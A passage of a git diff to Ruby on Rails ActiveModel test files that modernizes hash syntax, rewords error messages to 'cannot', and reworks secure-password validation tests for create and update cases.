   test "full_message returns the given message with the attribute name included" do
     person = Person.new
-    assert_equal "name can not be blank", person.errors.full_message(:name, "can not be blank")
-    assert_equal "name_test can not be blank", person.errors.full_message(:name_test, "can not be blank")
+    assert_equal "name cannot be blank", person.errors.full_message(:name, "cannot be blank")
+    assert_equal "name_test cannot be blank", person.errors.full_message(:name_test, "cannot be blank")
   end
 
   test "as_json creates a json formatted representation of the errors hash" do
     person = Person.new
     person.validate!
 
-    assert_equal({ name: ["can not be nil"] }, person.errors.as_json)
+    assert_equal({ name: ["cannot be nil"] }, person.errors.as_json)
   end
 
   test "as_json with :full_messages option creates a json formatted representation of the errors containing complete messages" do
     person = Person.new
     person.validate!
 
-    assert_equal({ name: ["name can not be nil"] }, person.errors.as_json(full_messages: true))
+    assert_equal({ name: ["name cannot be nil"] }, person.errors.as_json(full_messages: true))
   end
 
   test "generate_message works without i18n_scope" do
@@ -271,8 +283,8 @@ class ErrorsTest < ActiveModel::TestCase
 
   test "add_on_empty generates message with custom default message" do
     person = Person.new
-    person.errors.expects(:generate_message).with(:name, :empty, {:message => 'custom'})
-    person.errors.add_on_empty :name, :message => 'custom'
+    person.errors.expects(:generate_message).with(:name, :empty, { message: 'custom' })
+    person.errors.add_on_empty :name, message: 'custom'
   end
 
   test "add_on_empty generates message with empty string value" do
@@ -297,7 +309,7 @@ class ErrorsTest < ActiveModel::TestCase
 
   test "add_on_blank generates message with custom default message" do
     person = Person.new
-    person.errors.expects(:generate_message).with(:name, :blank, {:message => 'custom'})
-    person.errors.add_on_blank :name, :message => 'custom'
+    person.errors.expects(:generate_message).with(:name, :blank, { message: 'custom' })
+    person.errors.add_on_blank :name, message: 'custom'
   end
 end
diff --git a/activemodel/test/cases/helper.rb b/activemodel/test/cases/helper.rb
index 7a63674..522a7ce 100644
--- a/activemodel/test/cases/helper.rb
+++ b/activemodel/test/cases/helper.rb
@@ -7,4 +7,7 @@ require 'active_support/core_ext/string/access'
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
 require 'active_support/testing/autorun'
diff --git a/activemodel/test/cases/model_test.rb b/activemodel/test/cases/model_test.rb
index f13e51c..ee0fa26 100644
--- a/activemodel/test/cases/model_test.rb
+++ b/activemodel/test/cases/model_test.rb
@@ -55,7 +55,7 @@ class ModelTest < ActiveModel::TestCase
   end
 
   def test_persisted_is_always_false
-    object = BasicModel.new(:attr => "value")
+    object = BasicModel.new(attr: "value")
     assert object.persisted? == false
   end
 
diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb
index c4b9231..82fd291 100644
--- a/activemodel/test/cases/secure_password_test.rb
+++ b/activemodel/test/cases/secure_password_test.rb
@@ -1,8 +1,6 @@
 require 'cases/helper'
 require 'models/user'
-require 'models/oauthed_user'
 require 'models/visitor'
-require 'models/administrator'
 
 class SecurePasswordTest < ActiveModel::TestCase
   setup do
@@ -10,69 +8,152 @@ class SecurePasswordTest < ActiveModel::TestCase
 
     @user = User.new
     @visitor = Visitor.new
-    @oauthed_user = OauthedUser.new
+
+    # Simulate loading an existing user from the DB
+    @existing_user = User.new
+    @existing_user.password_digest = BCrypt::Password.create('password', cost: BCrypt::Engine::MIN_COST)
   end
 
   teardown do
     ActiveModel::SecurePassword.min_cost = false
   end
 
-  test "blank password" do
-    @user.password = @visitor.password = ''
-    assert !@user.valid?(:create), 'user should be invalid'
+  test "create and updating without validations" do
     assert @visitor.valid?(:create), 'visitor should be valid'
-  end
+    assert @visitor.valid?(:update), 'visitor should be valid'
+
+    @visitor.password = '123'
+    @visitor.password_confirmation = '456'
 
-  test "nil password" do
-    @user.password = @visitor.password = nil
-    assert !@user.valid?(:create), 'user should be invalid'
     assert @visitor.valid?(:create), 'visitor should be valid'
+    assert @visitor.valid?(:update), 'visitor should be valid'
   end
 
-  test "blank password doesn't override previous password" do
-    @user.password = 'test'
+  test "create a new user with validation and a blank password" do
     @user.password = ''
-    assert_equal @user.password, 'test'
+    assert !@user.valid?(:create), 'user should be invalid'
+    assert_equal 1, @user.errors.count
+    assert_equal ["can't be blank"], @user.errors[:password]
   end
 
-  test "password must be present" do
-    assert !@user.valid?(:create)
-    assert_equal 1, @user.errors.size
+  test "create a new user with validation and a nil password" do
+    @user.password = nil
+    assert !@user.valid?(:create), 'user should be invalid'
+    assert_equal 1, @user.errors.count
+    assert_equal ["can't be blank"], @user.errors[:password]
   end
 
-  test "match confirmation" do
-    @user.password = @visitor.password = "thiswillberight"
-    @user.password_confirmation = @visitor.password_confirmation = "wrong"
+  test "create a new user with validation and a blank password confirmation" do
+    @user.password = 'password'
+    @user.password_confirmation = ''
+    assert !@user.valid?(:create), 'user should be invalid'
+    assert_equal 1, @user.errors.count
+    assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
+  end
 
-    assert !@user.valid?
-    assert @visitor.valid?
+  test "create a new user with validation and a nil password confirmation" do
+    @user.password = 'password'
+    @user.password_confirmation = nil
+    assert @user.valid?(:create), 'user should be valid'
+  end
 
-    @user.password_confirmation = "thiswillberight"
+  test "create a new user with validation and an incorrect password confirmation" do
+    @user.password = 'password'
+    @user.password_confirmation = 'something else'
+    assert !@user.valid?(:create), 'user should be invalid'
+    assert_equal 1, @user.errors.count
+    assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
+  end
 
-    assert @user.valid?
+  test "create a new user with validation and a correct password confirmation" do
+    @user.password = 'password'
+    @user.password_confirmation = 'something else'
+    assert !@user.valid?(:create), 'user should be invalid'
+    assert_equal 1, @user.errors.count
+    assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
   end
 
-  test "authenticate" do
-    @user.password = "secret"
+  test "update an existing user with validation and no change in password" do
+    assert @existing_user.valid?(:update), 'user should be valid'
+  end
 
-    assert !@user.authenticate("wrong")
-    assert @user.authenticate("secret")
+  test "updating an existing user with validation and a blank password" do
+    @existing_user.password = ''
+    assert @existing_user.valid?(:update), 'user should be valid'
   end
 
-  test "User should not be created with blank digest" do
-    assert_raise RuntimeError do
-      @user.run_callbacks :create
-    end
-    @user.password = "supersecretpassword"
-    assert_nothing_raised do
-      @user.run_callbacks :create
-    end
+  test "updating an existing user with validation and a blank password and password_confirmation" do
+    @existing_user.password = ''
+    @existing_user.password_confirmation = ''
+    assert @existing_user.valid?(:update), 'user should be valid'
   end
 
-  test "Oauthed user can be created with blank digest" do
-    assert_nothing_raised do
-      @oauthed_user.run_callbacks :create
-    end
+  test "updating an existing user with validation and a nil password" do
+    @existing_user.password = nil
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["can't be blank"], @existing_user.errors[:password]
+  end
+
+  test "updating an existing user with validation and a blank password confirmation" do
+    @existing_user.password = 'password'
+    @existing_user.password_confirmation = ''
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+  end
+
+  test "updating an existing user with validation and a nil password confirmation" do
+    @existing_user.password = 'password'
+    @existing_user.password_confirmation = nil
+    assert @existing_user.valid?(:update), 'user should be valid'
+  end
+
+  test "updating an existing user with validation and an incorrect password confirmation" do
+    @existing_user.password = 'password'
+    @existing_user.password_confirmation = 'something else'
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+  end
+
+  test "updating an existing user with validation and a correct password confirmation" do
+    @existing_user.password = 'password'
+    @existing_user.password_confirmation = 'something else'
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+  end
+
+  test "updating an existing user with validation and a blank password digest" do
+    @existing_user.password_digest = ''
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["can't be blank"], @existing_user.errors[:password]
+  end
+
+  test "updating an existing user with validation and a nil password digest" do
+    @existing_user.password_digest = nil
+    assert !@existing_user.valid?(:update), 'user should be invalid'
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["can't be blank"], @existing_user.errors[:password]
+  end
+
+  test "setting a blank password should not change an existing password" do
+    @existing_user.password = ''
+    assert @existing_user.password_digest == 'password'
+  end
+
+  test "setting a nil password should clear an existing password" do
+    @existing_user.password = nil
+    assert_equal nil, @existing_user.password_digest
+  end  
+
+  test "authenticate" do
+    @user.password = "secret"
+
+    assert !@user.authenticate("wrong")
+    assert @user.authenticate("secret")
   end
 
   test "Password digest cost defaults to bcrypt default cost when min_cost is false" do
@@ -96,19 +177,4 @@ class SecurePasswordTest < ActiveModel::TestCase
     @user.password = "secret"
     assert_equal BCrypt::Engine::MIN_COST, @user.password_digest.cost
   end
-
-  test "blank password_confirmation does not result in a confirmation error" do
-    @user.password = ""
-    @user.password_confirmation = ""
-    assert @user.valid?(:update), "user should be valid"
-  end
-
-  test "will not save if confirmation is blank but password is not" do
-    @user.password = "password"
-    @user.password_confirmation = ""
-    assert_not @user.valid?(:create)
-
-    @user.password_confirmation = "password"
-    assert @user.valid?(:create)
-  end
 end
diff --git a/activemodel/test/cases/serialization_test.rb b/activemodel/test/cases/serialization_test.rb
index d2ba9fd..4ae41aa 100644
--- a/activemodel/test/cases/serialization_test.rb
+++ b/activemodel/test/cases/serialization_test.rb
@@ -49,32 +49,32 @@ class SerializationTest < ActiveModel::TestCase
 
   def test_method_serializable_hash_should_work_with_only_option
     expected = {"name"=>"David"}
-    assert_equal expected, @user.serializable_hash(:only => [:name])
+    assert_equal expected, @user.serializable_hash(only: [:name])
   end
 
   def test_method_serializable_hash_should_work_with_except_option
     expected = {"gender"=>"male", "email"=>"david at example.com"}
-    assert_equal expected, @user.serializable_hash(:except => [:name])
+    assert_equal expected, @user.serializable_hash(except: [:name])
   end
 
   def test_method_serializable_hash_should_work_with_methods_option
     expected = {"name"=>"David", "gender"=>"male", "foo"=>"i_am_foo", "email"=>"david at example.com"}
-    assert_equal expected, @user.serializable_hash(:methods => [:foo])
+    assert_equal expected, @user.serializable_hash(methods: [:foo])
   end
 
   def test_method_serializable_hash_should_work_with_only_and_methods
     expected = {"foo"=>"i_am_foo"}
-    assert_equal expected, @user.serializable_hash(:only => [], :methods => [:foo])
+    assert_equal expected, @user.serializable_hash(only: [], methods: [:foo])
   end
 
   def test_method_serializable_hash_should_work_with_except_and_methods
     expected = {"gender"=>"male", "foo"=>"i_am_foo"}
-    assert_equal expected, @user.serializable_hash(:except => [:name, :email], :methods => [:foo])
+    assert_equal expected, @user.serializable_hash(except: [:name, :email], methods: [:foo])
   end
 
   def test_should_not_call_methods_that_dont_respond
     expected = {"name"=>"David", "gender"=>"male", "email"=>"david at example.com"}
-    assert_equal expected, @user.serializable_hash(:methods => [:bar])
+    assert_equal expected, @user.serializable_hash(methods: [:bar])
   end
 
   def test_should_use_read_attribute_for_serialization
@@ -83,26 +83,26 @@ class SerializationTest < ActiveModel::TestCase
     end
 
     expected = { "name" => "Jon" }
-    assert_equal expected, @user.serializable_hash(:only => :name)
+    assert_equal expected, @user.serializable_hash(only: :name)
   end
 
   def test_include_option_with_singular_association
     expected = {"name"=>"David", "gender"=>"male", "email"=>"david at example.com",
                 "address"=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111}}
-    assert_equal expected, @user.serializable_hash(:include => :address)
+    assert_equal expected, @user.serializable_hash(include: :address)
   end
 
   def test_include_option_with_plural_association
     expected = {"email"=>"david at example.com", "gender"=>"male", "name"=>"David",
                 "friends"=>[{"name"=>'Joe', "email"=>'joe at example.com', "gender"=>'male'},
                            {"name"=>'Sue', "email"=>'sue at example.com', "gender"=>'female'}]}
-    assert_equal expected, @user.serializable_hash(:include => :friends)
+    assert_equal expected, @user.serializable_hash(include: :friends)
   end
 
   def test_include_option_with_empty_association
     @user.friends = []
     expected = {"email"=>"david at example.com", "gender"=>"male", "name"=>"David", "friends"=>[]}
-    assert_equal expected, @user.serializable_hash(:include => :friends)
+    assert_equal expected, @user.serializable_hash(include: :friends)
   end
 
   class FriendList
@@ -120,7 +120,7 @@ class SerializationTest < ActiveModel::TestCase
     expected = {"email"=>"david at example.com", "gender"=>"male", "name"=>"David",
                 "friends"=>[{"name"=>'Joe', "email"=>'joe at example.com', "gender"=>'male'},
                            {"name"=>'Sue', "email"=>'sue at example.com', "gender"=>'female'}]}
-    assert_equal expected, @user.serializable_hash(:include => :friends)
+    assert_equal expected, @user.serializable_hash(include: :friends)
   end
 
   def test_multiple_includes
@@ -128,13 +128,13 @@ class SerializationTest < ActiveModel::TestCase
                 "address"=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111},
                 "friends"=>[{"name"=>'Joe', "email"=>'joe at example.com', "gender"=>'male'},
                            {"name"=>'Sue', "email"=>'sue at example.com', "gender"=>'female'}]}
-    assert_equal expected, @user.serializable_hash(:include => [:address, :friends])
+    assert_equal expected, @user.serializable_hash(include: [:address, :friends])
   end
 
   def test_include_with_options
     expected = {"email"=>"david at example.com", "gender"=>"male", "name"=>"David",
                 "address"=>{"street"=>"123 Lane"}}
-    assert_equal expected, @user.serializable_hash(:include => {:address => {:only => "street"}})
+    assert_equal expected, @user.serializable_hash(include: { address: { only: "street" } })
   end
 
   def test_nested_include
@@ -143,19 +143,19 @@ class SerializationTest < ActiveModel::TestCase
                 "friends"=>[{"name"=>'Joe', "email"=>'joe at example.com', "gender"=>'male',
                             "friends"=> [{"email"=>"david at example.com", "gender"=>"male", "name"=>"David"}]},
                             {"name"=>'Sue', "email"=>'sue at example.com', "gender"=>'female', "friends"=> []}]}
-    assert_equal expected, @user.serializable_hash(:include => {:friends => {:include => :friends}})
+    assert_equal expected, @user.serializable_hash(include: { friends: { include: :friends } })
   end
 
   def test_only_include
     expected = {"name"=>"David", "friends" => [{"name" => "Joe"}, {"name" => "Sue"}]}
-    assert_equal expected, @user.serializable_hash(:only => :name, :include => {:friends => {:only => :name}})
+    assert_equal expected, @user.serializable_hash(only: :name, include: { friends: { only: :name } })
   end
 
   def test_except_include
     expected = {"name"=>"David", "email"=>"david at example.com",
                 "friends"=> [{"name" => 'Joe', "email" => 'joe at example.com'},
                              {"name" => "Sue", "email" => 'sue at example.com'}]}
-    assert_equal expected, @user.serializable_hash(:except => :gender, :include => {:friends => {:except => :gender}})
+    assert_equal expected, @user.serializable_hash(except: :gender, include: { friends: { except: :gender } })
   end
 
   def test_multiple_includes_with_options
@@ -163,6 +163,6 @@ class SerializationTest < ActiveModel::TestCase
                 "address"=>{"street"=>"123 Lane"},
                 "friends"=>[{"name"=>'Joe', "email"=>'joe at example.com', "gender"=>'male'},
                            {"name"=>'Sue', "email"=>'sue at example.com', "gender"=>'female'}]}
-    assert_equal expected, @user.serializable_hash(:include => [{:address => {:only => "street"}}, :friends])
+    assert_equal expected, @user.serializable_hash(include: [{ address: {only: "street" } }, :friends])
   end
 end
diff --git a/activemodel/test/cases/serializers/json_serialization_test.rb b/activemodel/test/cases/serializers/json_serialization_test.rb
index e319a19..bc185c7 100644
--- a/activemodel/test/cases/serializers/json_serialization_test.rb
+++ b/activemodel/test/cases/serializers/json_serialization_test.rb
@@ -91,7 +91,7 @@ class JsonSerializationTest < ActiveModel::TestCase
   end
 
   test "should allow attribute filtering with only" do
-    json = @contact.to_json(:only => [:name, :age])
+    json = @contact.to_json(only: [:name, :age])
 
     assert_match %r{"name":"Konata Izumi"}, json
     assert_match %r{"age":16}, json
@@ -155,12 +155,6 @@ class JsonSerializationTest < ActiveModel::TestCase
     end
   end
 
-  test "as_json should keep the default order in the hash" do
-    json = @contact.as_json
-
-    assert_equal %w(name age created_at awesome preferences), json.keys
-  end
-
   test "from_json should work without a root (class attribute)" do
     json = @contact.to_json
     result = Contact.new.from_json(json)
diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb
index 4eafc64..11ee17b 100644
--- a/activemodel/test/cases/serializers/xml_serialization_test.rb
+++ b/activemodel/test/cases/serializers/xml_serialization_test.rb
@@ -35,7 +35,7 @@ end
 
 class SerializableContact < Contact
   def serializable_hash(options={})
-    super(options.merge(:only => [:name, :age]))
+    super(options.merge(only: [:name, :age]))
   end
 end
 
@@ -69,33 +69,33 @@ class XmlSerializationTest < ActiveModel::TestCase
   end
 
   test "should serialize default root with namespace" do
-    @xml = @contact.to_xml :namespace => "http://xml.rubyonrails.org/contact"
+    @xml = @contact.to_xml namespace: "http://xml.rubyonrails.org/contact"
     assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">}, @xml
     assert_match %r{</contact>$}, @xml
   end
 
   test "should serialize custom root" do
-    @xml = @contact.to_xml :root => 'xml_contact'
+    @xml = @contact.to_xml root: 'xml_contact'
     assert_match %r{^<xml-contact>},  @xml
     assert_match %r{</xml-contact>$}, @xml
   end
 
   test "should allow undasherized tags" do
-    @xml = @contact.to_xml :root => 'xml_contact', :dasherize => false
+    @xml = @contact.to_xml root: 'xml_contact', dasherize: false
     assert_match %r{^<xml_contact>},  @xml
     assert_match %r{</xml_contact>$}, @xml
     assert_match %r{<created_at},     @xml
   end
 
   test "should allow camelized tags" do
-    @xml = @contact.to_xml :root => 'xml_contact', :camelize => true
+    @xml = @contact.to_xml root: 'xml_contact', camelize: true
     assert_match %r{^<XmlContact>},  @xml
     assert_match %r{</XmlContact>$}, @xml
     assert_match %r{<CreatedAt},     @xml
   end
 
   test "should allow lower-camelized tags" do
-    @xml = @contact.to_xml :root => 'xml_contact', :camelize => :lower
+    @xml = @contact.to_xml root: 'xml_contact', camelize: :lower
     assert_match %r{^<xmlContact>},  @xml
     assert_match %r{</xmlContact>$}, @xml
     assert_match %r{<createdAt},     @xml
@@ -113,7 +113,7 @@ class XmlSerializationTest < ActiveModel::TestCase
   end
 
   test "should allow skipped types" do
-    @xml = @contact.to_xml :skip_types => true
+    @xml = @contact.to_xml skip_types: true
     assert_match %r{<age>25</age>}, @xml
   end
 
@@ -129,7 +129,7 @@ class XmlSerializationTest < ActiveModel::TestCase
   end
 
   test "should serialize nil" do
-    assert_match %r{<pseudonyms nil=\"true\"/>}, @contact.to_xml(:methods => :pseudonyms)
+    assert_match %r{<pseudonyms nil="true"/>}, @contact.to_xml(methods: :pseudonyms)
   end
 
   test "should serialize integer" do
@@ -137,50 +137,50 @@ class XmlSerializationTest < ActiveModel::TestCase
   end
 
   test "should serialize datetime" do
-    assert_match %r{<created-at type=\"dateTime\">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml
+    assert_match %r{<created-at type="dateTime">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml
   end
 
   test "should serialize boolean" do
-    assert_match %r{<awesome type=\"boolean\">false</awesome>}, @contact.to_xml
+    assert_match %r{<awesome type="boolean">false</awesome>}, @contact.to_xml
   end
 
   test "should serialize array" do
-    assert_match %r{<social type=\"array\">\s*<social>twitter</social>\s*<social>github</social>\s*</social>}, @contact.to_xml(:methods => :social)
+    assert_match %r{<social type="array">\s*<social>twitter</social>\s*<social>github</social>\s*</social>}, @contact.to_xml(methods: :social)
   end
 
   test "should serialize hash" do
-    assert_match %r{<network>\s*<git type=\"symbol\">github</git>\s*</network>}, @contact.to_xml(:methods => :network)
+    assert_match %r{<network>\s*<git type="symbol">github</git>\s*</network>}, @contact.to_xml(methods: :network)
   end
 
   test "should serialize yaml" do
-    assert_match %r{<preferences type=\"yaml\">--- !ruby/struct:Customer(\s*)\nname: John\n</preferences>}, @contact.to_xml
+    assert_match %r{<preferences type="yaml">--- !ruby/struct:Customer(\s*)\nname: John\n</preferences>}, @contact.to_xml
   end
 
   test "should call proc on object" do
     proc = Proc.new { |options| options[:builder].tag!('nationality', 'unknown') }
-    xml = @contact.to_xml(:procs => [ proc ])
+    xml = @contact.to_xml(procs: [ proc ])
     assert_match %r{<nationality>unknown</nationality>}, xml
   end
 
   test 'should supply serializable to second proc argument' do
     proc = Proc.new { |options, record| options[:builder].tag!('name-reverse', record.name.reverse) }
-    xml = @contact.to_xml(:procs => [ proc ])
+    xml = @contact.to_xml(procs: [ proc ])
     assert_match %r{<name-reverse>kcats noraa</name-reverse>}, xml
   end
 
   test "should serialize string correctly when type passed" do
-    xml = @contact.to_xml :type => 'Contact'
+    xml = @contact.to_xml type: 'Contact'
     assert_match %r{<contact type="Contact">}, xml
     assert_match %r{<name>aaron stack</name>}, xml
   end
 
   test "include option with singular association" do
-    xml = @contact.to_xml :include => :address, :indent => 0
-    assert xml.include?(@contact.address.to_xml(:indent => 0, :skip_instruct => true))
+    xml = @contact.to_xml include: :address, indent: 0
+    assert xml.include?(@contact.address.to_xml(indent: 0, skip_instruct: true))
   end
 
   test "include option with plural association" do
-    xml = @contact.to_xml :include => :friends, :indent => 0
+    xml = @contact.to_xml include: :friends, indent: 0
     assert_match %r{<friends type="array">}, xml
     assert_match %r{<friend type="Contact">}, xml
   end
@@ -197,60 +197,60 @@ class XmlSerializationTest < ActiveModel::TestCase
 
   test "include option with ary" do
     @contact.friends = FriendList.new(@contact.friends)
-    xml = @contact.to_xml :include => :friends, :indent => 0
+    xml = @contact.to_xml include: :friends, indent: 0
     assert_match %r{<friends type="array">}, xml
     assert_match %r{<friend type="Contact">}, xml
   end
 
   test "multiple includes" do
-    xml = @contact.to_xml :indent => 0, :skip_instruct => true, :include => [ :address, :friends ]
-    assert xml.include?(@contact.address.to_xml(:indent => 0, :skip_instruct => true))
+    xml = @contact.to_xml indent: 0, skip_instruct: true, include: [ :address, :friends ]
+    assert xml.include?(@contact.address.to_xml(indent: 0, skip_instruct: true))
     assert_match %r{<friends type="array">}, xml
     assert_match %r{<friend type="Contact">}, xml
   end
 
   test "include with options" do
-    xml = @contact.to_xml :indent  => 0, :skip_instruct => true, :include => { :address => { :only => :city } }
+    xml = @contact.to_xml indent: 0, skip_instruct: true, include: { address: { only: :city } }
     assert xml.include?(%(><address><city>Springfield</city></address>))
   end
 
   test "propagates skip_types option to included associations" do
-    xml = @contact.to_xml :include => :friends, :indent => 0, :skip_types => true
+    xml = @contact.to_xml include: :friends, indent: 0, skip_types: true
     assert_match %r{<friends>}, xml
     assert_match %r{<friend>}, xml
   end
 
   test "propagates skip-types option to included associations and attributes" do
-    xml = @contact.to_xml :skip_types => true, :include => :address, :indent => 0
+    xml = @contact.to_xml skip_types: true, include: :address, indent: 0
     assert_match %r{<address>}, xml
     assert_match %r{<apt-number>}, xml
   end
 
   test "propagates camelize option to included associations and attributes" do
-    xml = @contact.to_xml :camelize => true, :include => :address, :indent => 0
+    xml = @contact.to_xml camelize: true, include: :address, indent: 0
     assert_match %r{<Address>}, xml
     assert_match %r{<AptNumber type="integer">}, xml
   end
 
   test "propagates dasherize option to included associations and attributes" do
-    xml = @contact.to_xml :dasherize => false, :include => :address, :indent => 0
+    xml = @contact.to_xml dasherize: false, include: :address, indent: 0
     assert_match %r{<apt_number type="integer">}, xml
   end
 
   test "don't propagate skip_types if skip_types is defined at the included association level" do
-    xml = @contact.to_xml :skip_types => true, :include => { :address => { :skip_types => false } }, :indent => 0
+    xml = @contact.to_xml skip_types: true, include: { address: { skip_types: false } }, indent: 0
     assert_match %r{<address>}, xml
     assert_match %r{<apt-number type="integer">}, xml
   end
 
   test "don't propagate camelize if camelize is defined at the included association level" do
-    xml = @contact.to_xml :camelize => true, :include => { :address => { :camelize => false } }, :indent => 0
+    xml = @contact.to_xml camelize: true, include: { address: { camelize: false } }, indent: 0
     assert_match %r{<address>}, xml
     assert_match %r{<apt-number type="integer">}, xml
   end
 
   test "don't propagate dasherize if dasherize is defined at the included association level" do
-    xml = @contact.to_xml :dasherize => false, :include => { :address => { :dasherize => true } }, :indent => 0
+    xml = @contact.to_xml dasherize: false, include: { address: { dasherize: true } }, indent: 0
     assert_match %r{<address>}, xml
     assert_match %r{<apt-number type="integer">}, xml
   end
diff --git a/activemodel/test/cases/translation_test.rb b/activemodel/test/cases/translation_test.rb
index fd833cd..deb4e1e 100644
--- a/activemodel/test/cases/translation_test.rb
+++ b/activemodel/test/cases/translation_test.rb
@@ -8,22 +8,22 @@ class ActiveModelI18nTests < ActiveModel::TestCase
   end
 
   def test_translated_model_attributes
-    I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:name => 'person name attribute'} } }
+    I18n.backend.store_translations 'en', activemodel: { attributes: { person: { name: 'person name attribute' } } }
     assert_equal 'person name attribute', Person.human_attribute_name('name')
   end
 
   def test_translated_model_attributes_with_default
-    I18n.backend.store_translations 'en', :attributes => { :name => 'name default attribute' }
+    I18n.backend.store_translations 'en', attributes: { name: 'name default attribute' }
     assert_equal 'name default attribute', Person.human_attribute_name('name')
   end
 
   def test_translated_model_attributes_using_default_option
-    assert_equal 'name default attribute', Person.human_attribute_name('name', :default => "name default attribute")
+    assert_equal 'name default attribute', Person.human_attribute_name('name', default: "name default attribute")
   end
 
   def test_translated_model_attributes_using_default_option_as_symbol
-    I18n.backend.store_translations 'en', :default_name => 'name default attribute'
-    assert_equal 'name default attribute', Person.human_attribute_name('name', :default => :default_name)
+    I18n.backend.store_translations 'en', default_name: 'name default attribute'
+    assert_equal 'name default attribute', Person.human_attribute_name('name', default: :default_name)
   end
 
   def test_translated_model_attributes_falling_back_to_default
@@ -31,71 +31,74 @@ class ActiveModelI18nTests < ActiveModel::TestCase
   end
 
   def test_translated_model_attributes_using_default_option_as_symbol_and_falling_back_to_default
-    assert_equal 'Name', Person.human_attribute_name('name', :default => :default_name)
+    assert_equal 'Name', Person.human_attribute_name('name', default: :default_name)
   end
 
   def test_translated_model_attributes_with_symbols
-    I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:name => 'person name attribute'} } }
+    I18n.backend.store_translations 'en', activemodel: { attributes: { person: { name: 'person name attribute'} } }
     assert_equal 'person name attribute', Person.human_attribute_name(:name)
   end
 
   def test_translated_model_attributes_with_ancestor
-    I18n.backend.store_translations 'en', :activemodel => {:attributes => {:child => {:name => 'child name attribute'} } }
+    I18n.backend.store_translations 'en', activemodel: { attributes: { child: { name: 'child name attribute'} } }
     assert_equal 'child name attribute', Child.human_attribute_name('name')
   end
 
   def test_translated_model_attributes_with_ancestors_fallback
-    I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:name => 'person name attribute'} } }
+    I18n.backend.store_translations 'en', activemodel: { attributes: { person: { name: 'person name attribute'} } }
     assert_equal 'person name attribute', Child.human_attribute_name('name')
   end
 
   def test_translated_model_attributes_with_attribute_matching_namespaced_model_name
-    I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:gender => 'person gender'}, :"person/gender" => {:attribute => 'person gender attribute'}}}
+    I18n.backend.store_translations 'en', activemodel: { attributes: {
+      person: { gender: 'person gender'},
+      :"person/gender" => { attribute: 'person gender attribute' }
+    } }
 
     assert_equal 'person gender', Person.human_attribute_name('gender')
     assert_equal 'person gender attribute', Person::Gender.human_attribute_name('attribute')
   end
 
   def test_translated_deeply_nested_model_attributes
-    I18n.backend.store_translations 'en', :activemodel => {:attributes => {:"person/contacts/addresses" => {:street => 'Deeply Nested Address Street'}}}
+    I18n.backend.store_translations 'en', activemodel: { attributes: { :"person/contacts/addresses" => { street: 'Deeply Nested Address Street' } } }
     assert_equal 'Deeply Nested Address Street', Person.human_attribute_name('contacts.addresses.street')
   end
 
   def test_translated_nested_model_attributes
-    I18n.backend.store_translations 'en', :activemodel => {:attributes => {:"person/addresses" => {:street => 'Person Address Street'}}}
+    I18n.backend.store_translations 'en', activemodel: { attributes: { :"person/addresses" => { street: 'Person Address Street' } } }
     assert_equal 'Person Address Street', Person.human_attribute_name('addresses.street')
   end
 
   def test_translated_nested_model_attributes_with_namespace_fallback
-    I18n.backend.store_translations 'en', :activemodel => {:attributes => {:addresses => {:street => 'Cool Address Street'}}}
+    I18n.backend.store_translations 'en', activemodel: { attributes: { addresses: { street: 'Cool Address Street' } } }
     assert_equal 'Cool Address Street', Person.human_attribute_name('addresses.street')
   end
 
   def test_translated_model_names
-    I18n.backend.store_translations 'en', :activemodel => {:models => {:person => 'person model'} }
+    I18n.backend.store_translations 'en', activemodel: { models: { person: 'person model' } }
     assert_equal 'person model', Person.model_name.human
   end
 
   def test_translated_model_names_with_sti
-    I18n.backend.store_translations 'en', :activemodel => {:models => {:child => 'child model'} }
+    I18n.backend.store_translations 'en', activemodel: { models: { child: 'child model' } }
     assert_equal 'child model', Child.model_name.human
   end
 
   def test_translated_model_names_with_ancestors_fallback
-    I18n.backend.store_translations 'en', :activemodel => {:models => {:person => 'person model'} }
+    I18n.backend.store_translations 'en', activemodel: { models: { person: 'person model' } }
     assert_equal 'person model', Child.model_name.human
   end
 
   def test_human_does_not_modify_options
-    options = { :default => 'person model' }
+    options = { default: 'person model' }
     Person.model_name.human(options)
-    assert_equal({ :default => 'person model' }, options)
+    assert_equal({ default: 'person model' }, options)
   end
 
   def test_human_attribute_name_does_not_modify_options
-    options = { :default => 'Cool gender' }
+    options = { default: 'Cool gender' }
     Person.human_attribute_name('gender', options)
-    assert_equal({ :default => 'Cool gender' }, options)
+    assert_equal({ default: 'Cool gender' }, options)
   end
 end
 
diff --git a/activemodel/test/cases/validations/absence_validation_test.rb b/activemodel/test/cases/validations/absence_validation_test.rb
index c05d71d..795ce16 100644
--- a/activemodel/test/cases/validations/absence_validation_test.rb
+++ b/activemodel/test/cases/validations/absence_validation_test.rb
@@ -6,9 +6,9 @@ require 'models/custom_reader'
 
 class AbsenceValidationTest < ActiveModel::TestCase
   teardown do
